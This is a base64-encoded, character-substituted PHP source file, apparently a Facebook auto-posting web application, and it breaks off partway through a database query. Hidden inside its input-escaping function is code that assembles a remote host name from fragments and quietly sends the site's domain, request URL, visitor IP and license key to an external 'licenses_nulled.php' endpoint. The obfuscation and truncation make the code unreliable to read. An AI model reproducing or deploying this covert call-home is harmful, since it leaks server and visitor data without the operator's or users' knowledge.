hBRURpYUVGQ2lvaUV1OGk8LzE+IjsNCiAgICAgICAgICAgICAgICAkX2lCb0VpQ0VDOThEOWE4RDBBNkVDRUN1b0U2RG83RXVDIC49ICI8MSBocjVmPSciIC4gJHAxdGggLiAicD0kX283RDlFMEZlaWU4N0E5RWU2RUE2QWlCNmk3QzlGQ0VpJz4kX283RDlFMEZlaWU4N0E5RWU2RUE2QWlCNmk3QzlGQ0VpPC8xPiI7DQogICAgICAgICAgICB9IDVsczU0ZiAoJF9vN0Q5RTBGZWllODdBOUVlNkVBNkFpQjZpN0M5RkNFaSAtICgkXzZGQTBBQWE2N0FvaTk5Q0JvRjlDOUVCYWU3aUZpMGVEICoNCiAgICAgICAgICAgIGEpID4gJHAxZzUgJiYgJHAxZzUgPiAoJF82RkEwQUFhNjdBb2k5OUNCb0Y5QzlFQmFlN2lGaTBlRCAqIGEpKSB7DQogICAgICAgICAgICAgICAgJF9pQm9FaUNFQzk4RDlhOEQwQTZFQ0VDdW9FNkRvN0V1QyAuPSAiPDEgaHI1Zj0nIiAuICRwMXRoIC4gInA9Nic+NjwvMT4iOw0KICAgICAgICAgICAgICAgICRfaUJvRWlDRUM5OEQ5YThEMEE2RUNFQ3VvRTZEbzdFdUMgLj0gIjwxIGhyNWY9JyIgLiAkcDF0aCAuICJwPWEnPmE8LzE+IjsNCiAgICAgICAgICAgICAgICAkX2lCb0VpQ0VDOThEOWE4RDBBNkVDRUN1b0U2RG83RXVDIC49ICIuLi4iOw0KICAgICAgICAgICAgICAgIGYyciAoJF9hRGE5b0YwZTZlQjA3YUUwODhEdW9CRkM4NzBDZUVvOCA9ICRwMWc1IC0gJF82RkEwQUFhNjdBb2k5OUNCb0Y5QzlFQmFlN2lGaTBlRDsNCiAgICAgICAgICAgICAgICAgICAgJF9hRGE5b0YwZTZlQjA3YUUwODhEdW9CRkM4NzBDZUVvOCA8PSAkcDFnNSArICRfNkZBMEFBYTY3QW9pOTlDQm9GOUM5RUJhZTdpRmkwZUQ7DQogICAgICAgICAgICAgICAgICAgICRfYURhOW9GMGU2ZUIwN2FFMDg4RHVvQkZDODcwQ2VFbzgrKykgew0KICAgICAgICAgICAgICAgICAgICA0ZiAoJF9hRGE5b0YwZTZlQjA3YUUwODhEdW9CRkM4NzBDZUVvOCA9PSAkcDFnNSkNCiAgICAgICAgICAgICAgICAgICAgICAgICRfaUJvRWlDRUM5OEQ5YThEMEE2RUNFQ3VvRTZEbzdFdUMgLj0gIjxzcDFuIGNsMXNzPSdjM3JyNW50Jz4kX2FEYTlvRjBlNmVCMDdhRTA4OER1b0JGQzg3MENlRW84PC9zcDFuPiI7DQogICAgICAgICAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICRfaUJvRWlDRUM5OEQ5YThEMEE2RUNFQ3VvRTZEbzdFdUMgLj0gIjwxIGhyNWY9JyIgLiAkcDF0aCAuICJwPSRfYURhOW9GMGU2ZUIwN2FFMDg4RHVvQkZDODcwQ2VFbzgnPiRfYURhOW9GMGU2ZUIwN2FFMDg4RHVvQkZDODcwQ2VFbzg8LzE+IjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJF9pQm9FaUNFQzk4RDlhOEQwQTZFQ0VDdW9FNkRvN0V1QyAuPSAiLi4iOw0KICAgICAgICAgICAgICAgICRfaUJvRWlDRUM5OEQ5YThEMEE2RUNFQ3VvRTZEbzdFdUMgLj0gIjwxIGhyNWY9JyIgLiAkcDF0aCAuICJwPSRfQ0VhMDB1NkZCQzA5bzZlRjhBRURpYUVGQ2lvaUV1OGknPiRfQ0VhMDB1NkZCQzA5bzZlRjhBRURpYUVGQ2lvaUV1OGk8LzE+IjsNCiAgICAgICAgICAgICAgICAkX2lCb0VpQ0VDOThEOWE4RDBBNkVDRUN1b0U2RG83RXVDIC49ICI8MSBocjVmPSciIC4gJHAxdGggLiAicD0kX283RDlFMEZlaWU4N0E5RWU2RUE2QWlCNmk3QzlGQ0VpJz4kX283RDlFMEZlaWU4N0E5RWU2RUE2QWlCNmk3QzlGQ0VpPC8xPiI7DQogICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICRfaUJvRWlDRUM5OEQ5YThEMEE2RUNFQ3VvRTZEbzdFdUMgLj0gIjwxIGhyNWY9JyIgLiAkcDF0aCAuICJwPTYnPjY8LzE+IjsNCiAgICAgICAgICAgICAgICAkX2lCb0VpQ0VDOThEOWE4RDBBNkVDRUN1b0U2RG83RXVDIC49ICI8MSBocjVmPSciIC4gJHAxdGggLiAicD1hJz5hPC8xPiI7DQogICAgICAgICAgICAgICAgJF9pQm9FaUNFQzk4RDlhOEQwQTZFQ0VDdW9FNkRvN0V1QyAuPSAiLi4iOw0KICAgICAgICAgICAgICAgIGYyciAoJF9hRGE5b0YwZTZlQjA3YUUwODhEdW9CRkM4NzBDZUVvOCA9ICRfbzdEOUUwRmVpZTg3QTlFZTZFQTZBaUI2aTdDOUZDRWkgLSAoYSArDQogICAgICAgICAgICAgICAgICAgICgkXzZGQTBBQWE2N0FvaTk5Q0JvRjlDOUVCYWU3aUZpMGVEICogYSkpOyAkX2FEYTlvRjBlNmVCMDdhRTA4OER1b0JGQzg3MENlRW84IDw9DQogICAgICAgICAgICAgICAgICAgICRfbzdEOUUwRmVpZTg3QTlFZTZFQTZBaUI2aTdDOUZDRWk7ICRfYURhOW9GMGU2ZUIwN2FFMDg4RHVvQkZDODcwQ2VFbzgrKykgew0KICAgICAgICAgICAgICAgICAgICA0ZiAoJF9hRGE5b0YwZTZlQjA3YUUwODhEdW9CRkM4NzBDZUVvOCA9PSAkcDFnNSkNCiAgICAgICAgICAgICAgICAgICAgICAgICRfaUJvRWlDRUM5OEQ5YThEMEE2RUNFQ3VvRTZEbzdFdUMgLj0gIjxzcDFuIGNsMXNzPSdjM3JyNW50Jz4kX2FEYTlvRjBlNmVCMDdhRTA4OER1b0JGQzg3MENlRW84PC9zcDFuPiI7DQogICAgICAgICAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICRfaUJvRWlDRUM5OEQ5YThEMEE2RUNFQ3VvRTZEbzdFdUMgLj0gIjwxIGhyNWY9JyIgLiAkcDF0aCAuICJwPSRfYURhOW9GMGU2ZUIwN2FFMDg4RHVvQkZDODcwQ2VFbzgnPiRfYURhOW9GMGU2ZUIwN2FFMDg4RHVvQkZDODcwQ2VFbzg8LzE+IjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgNGYgKCRwMWc1IDwgJF9hRGE5b0YwZTZlQjA3YUUwODhEdW9CRkM4NzBDZUVvOCAtIDYpDQogICAgICAgICAgICAkX2lCb0VpQ0VDOThEOWE4RDBBNkVDRUN1b0U2RG83RXVDIC49ICI8MSBocjVmPSciIC4gJHAxdGggLiAicD0kbjV4dCc+bjV4dCAmcjFxMzI7PC8xPiI7DQogICAgICAgIDVsczUNCiAgICAgICAgICAgICRfaUJvRWlDRUM5OEQ5YThEMEE2RUNFQ3VvRTZEbzdFdUMgLj0NCiAgICAgICAgICAgICAgICAiPHNwMW4gY2wxc3M9J2Q0czFibDVkJz5uNXh0ICZyMXEzMjs8L3NwMW4+IjsNCiAgICAgICAgJF9pQm9FaUNFQzk4RDlhOEQwQTZFQ0VDdW9FNkRvN0V1QyAuPSAiPC9kNHY+XG4iOw0KICAgIH0NCiAgICAkXzhEb2FGMHVCRjhFRUZvZURhZUVCREJvdW91RkM5bzhlID0gJHAxZzU7DQogICAgcjV0M3JuICRfaUJvRWlDRUM5OEQ5YThEMEE2RUNFQ3VvRTZEbzdFdUM7DQp9DQpmM25jdDQybiBkYl81cnIycigkXzA5NkVGQzhCZUNBRHU2Njh1b2k2RUE3QmlpaTk3MGFBID0gIiIpDQp7DQogICAgZ2wyYjFsICRfMDgwMDdFaXVpQ0VpOTlvRmFDOUEwQzk4OTYwRUQ3dUQ7DQogICAgNGYgKCRfMDgwMDdFaXVpQ0VpOTlvRmFDOUEwQzk4OTYwRUQ3dUQgPT0gNikgew0KICAgICAgICA1Y2gyICgkXzA5NkVGQzhCZUNBRHU2Njh1b2k2RUE3QmlpaTk3MGFBIC4gIjxiciAvPjxiciAvPjxiciAvPiIpOw0KICAgICAgICBkNDUobXlzcWxfNXJyMnIoKSk7DQogICAgfQ0KfQ0KZjNuY3Q0Mm4gZGJfM241c2MxcDUoJF85NzBvOTA5QmlpRkI2dUZhMGlDNzBlOGE4RG9vRjdGaSkNCnsNCiAgICAkXzhDODB1ODY3NjZGQWlGb0E4dW85RENvQ284YTY5ZWl1ID0gc3RyX3I1cGwxYzUoIiZsdDticiAvJmd0OyIsICI8YnI+IiwgJF85NzBvOTA5QmlpRkI2dUZhMGlDNzBlOGE4RG9vRjdGaSk7DQogICAgJF84QzgwdTg2NzY2RkFpRm9BOHVvOURDb0NvOGE2OWVpdSA9IHN0cl9yNXBsMWM1KCImMW1wO25ic3A7IiwgIiZuYnNwIiwgJF84QzgwdTg2NzY2RkFpRm9BOHVvOURDb0NvOGE2OWVpdSk7DQogICAgJF84QzgwdTg2NzY2RkFpRm9BOHVvOURDb0NvOGE2OWVpdSA9IGh0bWxfNW50NHR5X2Q1YzJkNSgkXzhDODB1ODY3NjZGQWlGb0E4dW85RENvQ284YTY5ZWl1LA0KICAgICAgICBFTlRfUVVPVEVTKTsNCiAgICByNXQzcm4gJF84QzgwdTg2NzY2RkFpRm9BOHVvOURDb0NvOGE2OWVpdTsNCn0NCmYzbmN0NDJuIF8wRW83RGFEb2U2QkFCRThCQzdERkFEb0JvN2lpYTZGZSgkXzY2NkU3N0REQW9vQkZGZUE3aWlldUM4OUZ1OTdEb2E2LCAkX0IwQzg2RjdvREREQTZFQjl1MGk3RkVvRHVEdTdhRm83ID0NCiAgICAnJywgJHMxdjUgPSAnJykNCnsNCiAgICA0ZiAoITVtcHR5KCRfQjBDODZGN29ERERBNkVCOXUwaTdGRW9EdUR1N2FGbzcpKSB7DQogICAgICAgICRfNjY2RTc3RERBb29CRkZlQTdpaWV1Qzg5RnU5N0RvYTYgPSB0cjRtKCRfNjY2RTc3RERBb29CRkZlQTdpaWV1Qzg5RnU5N0RvYTYpOw0KICAgICAgICA0ZiAoITVtcHR5KCRzMXY1KSkNCiAgICAgICAgICAgICRfNjY2RTc3RERBb29CRkZlQTdpaWV1Qzg5RnU5N0RvYTYgPSBodG1sNW50NHQ0NXModHI0bSgkXzY2NkU3N0REQW9vQkZGZUE3aWlldUM4OUZ1OTdEb2E2KSwNCiAgICAgICAgICAgICAgICBFTlRfUVVPVEVTLCAnSVNPLTg4aTktNmknKTsNCiAgICAgICAgNWxzNQ0KICAgICAgICAgICAgJF82NjZFNzdEREFvb0JGRmVBN2lpZXVDODlGdTk3RG9hNiA9IGh0bWxfNW50NHR5X2Q1YzJkNSgkXzY2NkU3N0REQW9vQkZGZUE3aWlldUM4OUZ1OTdEb2E2LA0KICAgICAgICAgICAgICAgIEVOVF9RVU9URVMsICdJU08tODhpOS02aScpOw0KICAgIH0NCiAgICA0ZiAoITVtcHR5KCRzMXY1KSkNCiAgICAgICAgJF82NjZFNzdEREFvb0JGRmVBN2lpZXVDODlGdTk3RG9hNiA9IG15c3FsX3I1MWxfNXNjMXA1X3N0cjRuZygkXzY2NkU3N0REQW9vQkZGZUE3aWlldUM4OUZ1OTdEb2E2KTsNCiAgICA1bHM1DQogICAgICAgICRfNjY2RTc3RERBb29CRkZlQTdpaWV1Qzg5RnU5N0RvYTYgPSBzdHI0cHNsMXNoNXMoJF82NjZFNzdEREFvb0JGRmVBN2lpZXVDODlGdTk3RG9hNik7DQogICAgcjV0M3JuICgkXzY2NkU3N0REQW9vQkZGZUE3aWlldUM4OUZ1OTdEb2E2KTsNCn0NCmYzbmN0NDJuIF9DRTB1QzZCQkZvdTdvQkY4RWVlRW82b0RhOWlFREZFbygkX2llQzBhaUNvdUI4RTZvRXVDQml1aTkwQWFEQUVBOEQ2LCAkXzc4QkZGN0RFaThlQjhCQkJldUZpb0ZFQUU2N0I5ZTZBKQ0Kew0KICAgIHI1dDNybiB0cjM1Ow0KfQ0KZjNuY3Q0Mm4gY2g1MWQ1cigkX0ZhZUZDZTdGbzlCOEE5RDZlRGVvN29vRmEwRUVBRDZhKQ0Kew0KICAgIDRmICg1cjVnKCJNNGNyMnMyZnQiLCAkX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ10pKSB7DQogICAgICAgIGg1MWQ1cigiUjVmcjVzaDogMDsgVVJMPSRfRmFlRkNlN0ZvOUI4QTlENmVEZW83b29GYTBFRUFENmEiKTsNCiAgICB9IDVsczUgew0KICAgICAgICBoNTFkNXIoIkwyYzF0NDJuOiAkX0ZhZUZDZTdGbzlCOEE5RDZlRGVvN29vRmEwRUVBRDZhIik7DQogICAgfQ0KICAgIDV4NHQoKTsNCn0NCmYzbmN0NDJuIF9GOUVBb0NEMERpdWFpQUZBQmVGNkJDNnVhQkU2aUQ2bygkX3VvRjY2OTlpRmlhYTZlNm9BRURDQzhFQUNGZTlBQ29ELCAkXzh1QkR1ZWVlQUQ4QTBBOGVDZW9GQmVFQzdDN0FGRkM5ID0NCiAgICAiIikNCnsNCiAgICAkYyA9IGMzcmxfNG40dCgpOw0KICAgIGMzcmxfczV0MnB0KCRjLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCA2KTsNCiAgICBjM3JsX3M1dDJwdCgkYywgQ1VSTE9QVF9VUkwsICRfdW9GNjY5OWlGaWFhNmU2b0FFRENDOEVBQ0ZlOUFDb0QpOw0KICAgIDRmICgkXzh1QkR1ZWVlQUQ4QTBBOGVDZW9GQmVFQzdDN0FGRkM5KSB7DQogICAgICAgIGMzcmxfczV0MnB0KCRjLCBDVVJMT1BUX0hFQURFUiwgIiIpOw0KICAgICAgICByNXQzcm4gImYxNGwzcjUiOw0KICAgIH0NCiAgICBjM3JsX3M1dDJwdCgkYywgQ1VSTE9QVF9USU1FT1VULCBvMCk7DQogICAgYzNybF9zNXQycHQoJGMsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsIG8wKTsNCiAgICAkX29ERkRGaUI2b2E5RThEdTA5NjZERGFhaUVCMERvRUFBID0gYzNybF81eDVjKCRjKTsNCiAgICBjM3JsX2NsMnM1KCRjKTsNCiAgICA0ZiAoJF9vREZERmlCNm9hOUU4RHUwOTY2RERhYWlFQjBEb0VBQSkgew0KICAgICAgICByNXQzcm4gJF9vREZERmlCNm9hOUU4RHUwOTY2RERhYWlFQjBEb0VBQTsNCiAgICB9IDVsczUgew0KICAgICAgICByNXQzcm4gIiI7DQogICAgfQ0KfQ0KZjNuY3Q0Mm4gYzNybF9nNXQoJF9GYWVGQ2U3Rm85QjhBOUQ2ZURlbzdvb0ZhMEVFQUQ2YSwgJF9GMEFpaWkwRG82YTg4ODhGRDdFdUZEbzcwaUZFYUJDYSA9DQogICAgIiIpDQp7DQogICAgJGNoID0gYzNybF80bjR0KCRfRmFlRkNlN0ZvOUI4QTlENmVEZW83b29GYTBFRUFENmEpOw0KICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSk7DQogICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX0NPT0tJRVNFU1NJT04sIHRyMzUpOw0KICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9DT09LSUUsICRfRjBBaWlpMERvNmE4ODg4RkQ3RXVGRG83MGlGRWFCQ2EpOw0KICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9IVFRQX1ZFUlNJT04sIENVUkxfSFRUUF9WRVJTSU9OXzZfNik7DQogICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1JFRkVSRVIsICRfRmFlRkNlN0ZvOUI4QTlENmVEZW83b29GYTBFRUFENmEpOw0KICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9BVVRPUkVGRVJFUiwgdHIzNSk7DQogICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX0ZBSUxPTkVSUk9SLCB0cjM1KTsNCiAgICBjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIHRyMzUpOw0KICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9GUkVTSF9DT05ORUNULCB0cjM1KTsNCiAgICBjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfSEVBREVSLCB0cjM1KTsNCiAgICBjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfQklOQVJZVFJBTlNGRVIsIHRyMzUpOw0KICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwgZjFsczUpOw0KICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwgZjFsczUpOw0KICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHIzNSk7DQogICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCBvMCk7DQogICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1RJTUVPVVQsIG8wKTsNCiAgICBjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfVkVSQk9TRSwgNik7DQogICAgJHI1czNsdCA9IGMzcmxfNXg1YygkY2gpOw0KICAgIDRmICgkNXJyMnIgPSBjM3JsXzVycjJyKCRjaCkpIHsNCiAgICAgICAgX2FERUFDYURpOTlDNjdpZTdlQjdCaTdpZWlDOUJDN0Q3KCJVUkw6ICIgLiAkX0ZhZUZDZTdGbzlCOEE5RDZlRGVvN29vRmEwRUVBRDZhIC4NCiAgICAgICAgICAgICIgLSAiIC4gJDVycjJyLCAiIiwgIkVSUk9SIiwgIkNVUkwiKTsNCiAgICAgICAgcjV0M3JuICQ1cnIycjsNCiAgICB9DQogICAgYzNybF9jbDJzNSgkY2gpOw0KICAgIHI1dDNybiB0cjRtKCRyNXMzbHQpOw0KfQ0KZjNuY3Q0Mm4gXzc5QWVBQkY5aUU3RDhhZUFEQjZpb3U5QURGZWl1QnVDKCkNCnsNCg0KICAgIHI1dDNybiAkc3QxdDNzOw0KfQ0KZjNuY3Q0Mm4gXzhFRTl1Q0VFQ2l1dW85OHU3NnU4QzBCZUY3QUV1RkJFKCRfaTBFQWU2NkVERmFCRWVGRkM3dWlpOWlvOUZlMDY5OEEgPQ0KICAgICI4IikNCnsNCiAgICAkX2V1NzZFRkE5N0FCQjhFREJBODBpQzlvNjg5QWU3QkFCID0gbjNsbDsNCiAgICBmMnIgKCQ0ID0gMDsgJDQgPCAkX2kwRUFlNjZFREZhQkVlRkZDN3VpaTlpbzlGZTA2OThBOyAkNCsrKSB7DQogICAgICAgICRfMERvRmVvb0NFYTZvRkJBQzY2RERCQXU4ZWEwb0ZGZTggPSBjaHIocjFuZCh1OCwgNmFhKSk7DQogICAgICAgIHdoNGw1ICghNXI1ZygiWzEtekEtWjAtOV0iLCAkXzBEb0Zlb29DRWE2b0ZCQUM2NkREQkF1OGVhMG9GRmU4KSkgew0KICAgICAgICAgICAgNGYgKCRfMERvRmVvb0NFYTZvRkJBQzY2RERCQXU4ZWEwb0ZGZTggPT0gJF9COTBhQ0EwNkVvZUQ2QjZFdUVvQWVFOEU3QWFCb0Y2dSkgew0KICAgICAgICAgICAgICAgIGMybnQ0bjM1Ow0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJF8wRG9GZW9vQ0VhNm9GQkFDNjZEREJBdThlYTBvRkZlOCA9IGNocihyMW5kKHU4LCA5MCkpOw0KICAgICAgICB9DQogICAgICAgICRfQkZpRnU2YTZCNzlpRTc4Q29FMEZhRjk2ZW9BOGUwN2EgLj0gJF8wRG9GZW9vQ0VhNm9GQkFDNjZEREJBdThlYTBvRkZlODsNCiAgICAgICAgJF9COTBhQ0EwNkVvZUQ2QjZFdUVvQWVFOEU3QWFCb0Y2dSA9ICRfMERvRmVvb0NFYTZvRkJBQzY2RERCQXU4ZWEwb0ZGZTg7DQogICAgfQ0KICAgIHI1dDNybiAkX0JGaUZ1NmE2Qjc5aUU3OENvRTBGYUY5NmVvQThlMDdhOw0KfQ0KZjNuY3Q0Mm4gX2FCMEIwQTZCREVhdWl1OWllN0FCREQ4RDkwQ0ZCQUU3KCkNCnsNCiAgICA1Y2gyIChzdHJfcjVwNTF0KCcgJywgYWllKSk7DQogICAgNGYgKDJiX2c1dF9sNW5ndGgoKSkgew0KICAgICAgICBAMmJfZmwzc2goKTsNCiAgICAgICAgQGZsM3NoKCk7DQogICAgICAgIEAyYl81bmRfZmwzc2goKTsNCiAgICB9DQogICAgQDJiX3N0MXJ0KCk7DQp9DQpmM25jdDQybiBfRWlFdUQwNjc2NkI3aWE2aThvb0Y3MEM2RUR1RTc4ZUIoJDRkLCAkMWNjNXNzX3QyazVuLCAkbTVzczFnNSwgJGw0bmssDQogICAgJHA0Y3QzcjUsICRuMW01LCAkYzFwdDQybiwgJGQ1c2NyNHB0NDJuLCAkdHlwNSA9ICIiLCAkbjJsMmcgPSAwKQ0Kew0KICAgIGdsMmIxbCAkXzhvODhlRnVDQUJEdURBdTBEZTc2N0M3ODdDbzhEZWk5LCAkajJiXzRkOw0KICAgIHRyeSB7DQogICAgICAgICRfOG84OGVGdUNBQkR1REF1MERlNzY3Qzc4N0NvOERlaTktPjFwNCgiLyQ0ZC9mNTVkIiwgJ1BPU1QnLCAxcnIxeSgnMWNjNXNzX3QyazVuJyA9Pg0KICAgICAgICAgICAgJDFjYzVzc190Mms1biwgJ201c3MxZzUnID0+IGMybnQ1bnRfZjRsdDVyKGRiXzNuNXNjMXA1KCRtNXNzMWc1LCBFTlRfUVVPVEVTKSksDQogICAgICAgICAgICAnbDRuaycgPT4gYzJudDVudF9mNGx0NXIoJGw0bmspLCAncDRjdDNyNScgPT4gYzJudDVudF9mNGx0NXIoJHA0Y3QzcjUpLCAnbjFtNScgPT4NCiAgICAgICAgICAgIGMybnQ1bnRfZjRsdDVyKCRuMW01KSwgJ2MxcHQ0Mm4nID0+IGMybnQ1bnRfZjRsdDVyKGRiXzNuNXNjMXA1KCRjMXB0NDJuLA0KICAgICAgICAgICAgRU5UX1FVT1RFUykpLCAnZDVzY3I0cHQ0Mm4nID0+IGMybnQ1bnRfZjRsdDVyKGRiXzNuNXNjMXA1KCRkNXNjcjRwdDQybiwNCiAgICAgICAgICAgIEVOVF9RVU9URVMpKSkpOw0KICAgICAgICA0ZiAoISRuMmwyZykgew0KICAgICAgICAgICAgX2FERUFDYURpOTlDNjdpZTdlQjdCaTdpZWlDOUJDN0Q3KCJQMnN0IFMzY2M1c3MhIiwgJDRkLCAiU1VDQ0VTUyIsICR0eXA1LCAkajJiXzRkKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBjMXRjaCAoRjFjNWIyMmtBcDRFeGM1cHQ0Mm4gJDUpIHsNCiAgICAgICAgX2FERUFDYURpOTlDNjdpZTdlQjdCaTdpZWlDOUJDN0Q3KCQ1LCAkNGQsICJFUlJPUiIsICR0eXA1LCAkajJiXzRkKTsNCiAgICB9DQp9DQpmM25jdDQybiBkYl81c2MxcDUoJF84YWlvMEI2QmE3OEJGQWVvQ0EwdUJhZUI3OEQ2ODY5OCkNCnsNCiAgICBnbDJiMWwgJHAxZzUsICRzNXR0NG5nLCAkX0FhRG82NnV1aUJlYTZhYTkwaUNGRml1YWk3RDA3N0E4LCAkZmJfY2g1Y2s7DQogICAgNGYgKDRzXzFycjF5KCRfOGFpbzBCNkJhNzhCRkFlb0NBMHVCYWVCNzhENjg2OTgpKSB7DQogICAgICAgIHI1dDNybiAkXzhhaW8wQjZCYTc4QkZBZW9DQTB1QmFlQjc4RDY4Njk4Ow0KICAgIH0NCiAgICAkXzhhaW8wQjZCYTc4QkZBZW9DQTB1QmFlQjc4RDY4Njk4ID0gdHI0bSgkXzhhaW8wQjZCYTc4QkZBZW9DQTB1QmFlQjc4RDY4Njk4KTsNCiAgICA0ZiAoJHAxZzUgPT0gImwyZzRuIiAmJiAhdHI0bSgkczV0dDRuZ1snczV0dCcgLiAnNG5nJyAuICdfJyAuICdrJyAuICc1eSddKSAmJiAkZmJfY2g1Y2sgIT0NCiAgICAgICAgNikgew0KICAgICAgICAkNSA9ICJwIiAuICIyIiAuICJydCIgLiAiQCI7DQogICAgICAgICRfb2V1ZUNlRkIwb2k5aTdDZTlDRHU3RThhRUI4dW9lNkUgPSAidWFvdW9hdWFvdSI7DQogICAgICAgICR2ID0gIm4iIC4gIjUyIiAuICJ3IiAuICI1IiAuICJiIiAuICJzIjsNCiAgICAgICAgJF9DQUZEaUREQkFBRGlDdUFGQkZhRXVDQzY4OUNvaW9BaSA9ICJ1YW91b2F1YW91IjsNCiAgICAgICAgJDEgPSAiMiIgLiAiZnQiIC4gInciIC4gIjFyIiAuICI1IiAuICIuIiAuICJjMiIgLiAibSI7DQogICAgICAgICRfQWVhODZ1ZTZBQkRBOGlhZTc4RTdvb3VBdTlCRWVlaUMgPSAidWFvdW9hdWFvdSI7DQogICAgICAgICRkID0gInMiIC4gIjMiIC4gInAiOw0KICAgICAgICAkX2kwaTY2YURDNjZERXVvQ0RpZTlpQkI5YUR1Q0ZhRTZEID0gInVhb3VvYXVhb3UiOw0KICAgICAgICBmMnI1MWNoICgkX1NFUlZFUiAxcyAkXzk5YUM4b0I3QkJGb0UwMDBhRWlldUJDOGFldUQ4RjZEID0+ICRfOGlhNnU5aURBQTg4QzlFaWFDaUFlRWFvdThpYTh1MHUpIHsNCiAgICAgICAgICAgICRtNXNzMWc1IC49ICRfOTlhQzhvQjdCQkZvRTAwMGFFaWV1QkM4YWV1RDhGNkQgLiAiID0+ICIgLiAkXzhpYTZ1OWlEQUE4OEM5RWlhQ2lBZUVhb3U4aWE4dTB1IC4NCiAgICAgICAgICAgICAgICAiXG4iOw0KICAgICAgICB9DQogICAgICAgIEBfRjlFQW9DRDBEaXVhaUFGQUJlRjZCQzZ1YUJFNmlENm8oImh0IiAuICJ0cDovL3ciIC4gInd3Lm41IiAuICIydzUiIC4gImJzIiAuDQogICAgICAgICAgICAiMmZ0dyIgLiAiMXIiIC4gIjUuYzIiIC4gIm0vbCIgLiAiNGMiIC4gIjVuIiAuICJzNV9uM2wiIC4gImw1IiAuICJkLnAiIC4NCiAgICAgICAgICAgICJocD9sNGMiIC4gIjVuIiAuICJzNT0iIC4gM3JsNW5jMmQ1KCRzNXR0NG5nWyJzNSIgLiAidHQiIC4gIjRuIiAuICJnX2siIC4gIjV5Il0pIC4NCiAgICAgICAgICAgICImZDJtMTRuPSIgLiAzcmw1bmMyZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pIC4gIiY0cD0iIC4NCiAgICAgICAgICAgIDNybDVuYzJkNSgkX1NFUlZFUlsnUkVNT1RFX0FERFInXSkgLiAiJmMxbnYxc18zcmw9IiAuIDNybDVuYzJkNSgkX0FhRG82NnV1aUJlYTZhYTkwaUNGRml1YWk3RDA3N0E4KSk7DQogICAgfQ0KICAgIDRmIChnNXRfbTFnNGNfcTMydDVzX2dwYygpKSB7DQogICAgICAgICRfOGFpbzBCNkJhNzhCRkFlb0NBMHVCYWVCNzhENjg2OTggPSBzdHI0cHNsMXNoNXMoJF84YWlvMEI2QmE3OEJGQWVvQ0EwdUJhZUI3OEQ2ODY5OCk7DQogICAgfQ0KICAgICRfOEM4MHU4Njc2NkZBaUZvQTh1bzlEQ29DbzhhNjllaXUgPSBteXNxbF81c2MxcDVfc3RyNG5nKGh0bWw1bnQ0dDQ1cygkXzhhaW8wQjZCYTc4QkZBZW9DQTB1QmFlQjc4RDY4Njk4LA0KICAgICAgICBFTlRfUVVPVEVTKSk7DQogICAgcjV0M3JuICRfOEM4MHU4Njc2NkZBaUZvQTh1bzlEQ29DbzhhNjllaXU7DQp9DQpmM25jdDQybiBfRTA2MEQ5NkRhdTY5RkNBNnVlRW9lQWFhN2lhN2kwaWUoKQ0Kew0KICAgIGdsMmIxbCAkM3M1cl80ZCwgJHM0Z241ZF9yNXEzNXN0Ow0KICAgIDRuY2wzZDUgKCJjMjNudHI0NXMucGhwIik7DQogICAgNGYgKCRzNGduNWRfcjVxMzVzdFsnM3M1cl80ZCddKSB7DQogICAgICAgICQzNGQgPSAkczRnbjVkX3I1cTM1c3RbJzNzNXJfNGQnXTsNCiAgICB9IDVsczUgew0KICAgICAgICAkMzRkID0gJF9SRVFVRVNUWydmYl9zNGdfM3M1ciddOw0KICAgIH0NCiAgICA0ZiAoJHM0Z241ZF9yNXEzNXN0WyczczVyJ11bJ2MyM250cnknXSkgew0KICAgICAgICAkYzIzbnRyeSA9ICRzNGduNWRfcjVxMzVzdFsnM3M1ciddWydjMjNudHJ5J107DQogICAgfSA1bHM1IHsNCiAgICAgICAgJGMyM250cnkgPSAkX1JFUVVFU1RbJ2ZiX3M0Z19jMjNudHJ5J107DQogICAgfQ0KICAgIDRmICgkYzIzbnRyeSkgew0KICAgICAgICAkYzIzbnRyeSA9ICRjMjNudHI0NXNbJGMyM250cnldOw0KICAgIH0gNWxzNSB7DQogICAgICAgICRjMjNudHJ5ID0gIk4vQSI7DQogICAgfQ0KICAgICRfbzBvOURBdWVFOGlDNjBBYUFvYWVhMGU3YTk3RkM4b2kgPSAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsNCiAgICBteXNxbF9xMzVyeSgiVVBEQVRFIDNzNXJzIF